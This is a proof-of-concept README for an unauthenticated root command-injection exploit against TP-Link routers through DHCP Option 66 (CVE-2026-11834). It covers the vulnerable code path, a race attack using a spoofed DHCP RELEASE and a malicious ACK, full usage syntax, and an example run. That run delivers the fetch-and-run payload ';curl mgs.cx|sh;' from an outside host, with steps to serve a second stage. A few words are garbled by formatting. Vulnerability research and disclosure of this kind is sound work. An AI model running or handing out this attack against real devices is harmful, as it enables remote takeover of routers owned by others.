
Proof of Concept (PoC) for the TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834)
A command injection vulnerability (CWE-78) in the DHCP Option 66 ("TFTP Server Name") handling of TP-Link router firmware allows an unauthenticated attacker on the same network segment to execute arbitrary commands as root. When the device acts as a DHCP client on its WAN interface, the Option 66 value returned in a lease is concatenated unsanitised into a tftp shell command within libcmm.so. Five functions build this command and pass it to util_execSystem(), which calls system(), so a crafted Option 66 value is interpreted as shell input and executed as root.
The Option 66 value is truncated to 16 characters on the device, so the payload is a minimal fetch-and-execute (;curl <domain>|sh;) that pulls a larger second stage over HTTP.
The attacker does not need to control the DHCP server. This PoC races the legitimate server on the segment: it spoofs a DHCP RELEASE as the target to clear its binding, waits for the target to re-acquire its lease, then answers the target's broadcast with a malicious / carrying the payload before the legitimate server replies.
OFFERACKThis Proof of Concept (PoC) was tested against the TP-Link Archer C20 V6 (firmware 0.9.1 Build 4.19, EU). The vulnerable code path is shared across a range of TP-Link routers; memory offsets, function addresses, and behaviour may differ on other models or firmware versions.
This PoC delivers an Option 66 payload that is executed as root on the target device. Only run this against hardware you own or are explicitly authorised to test.
$ sudo python3 cve-2026-11834.py <target_ip> -i <interface> -s <dhcp_server_ip> -S <dhcp_server_mac> -p '<payload>'
| Argument | Description |
|---|---|
target_ip | Current IP address of the target device |
-i, --interface | Network interface on the target's segment |
-s, --server-ip | Legitimate DHCP server IP |
-S, --server-mac | Legitimate DHCP server MAC |
-p, --payload | Option 66 value (<=16 chars), e.g. `;curl |
-t, --target-mac | Target MAC (auto-resolved via ARP if omitted) |
-a, --attacker-ip | Server-id advertised in the malicious lease (defaults to the interface IP) |
Example run:
$ sudo python3 cve-2026-11834.py 10.0.10.110 -i eth0 -s 10.0.10.254 -S 00:f2:8b:99:86:46 -p ';curl mgs.cx|sh;'
TP-Link DHCP Option 66 Unauthenticated RCE (CVE-2026-11834) - Race Attack
Target IP : 10.0.10.110
Target MAC : 3c:64:cf:7b:69:8b
DHCP Server : 10.0.10.254 (00:f2:8b:99:86:46)
Attacker IP : 10.0.10.5
Interface : eth0
Payload : ;curl mgs.cx|sh;
[*] Sending spoofed DHCP RELEASE for 10.0.10.110
[*] RELEASE sent. Waiting for target to re-acquire lease...
[!] Got DHCP REQUEST from 3c:64:cf:7b:69:8b, XID: 0x43edad72
[>] Sending malicious DHCP ACK...
[>] ACK sent. Payload delivered.
The payload host serves a second stage that the device fetches and runs. For example:
$ cat index.html
[second stage payload]
$ sudo python3 -m http.server 80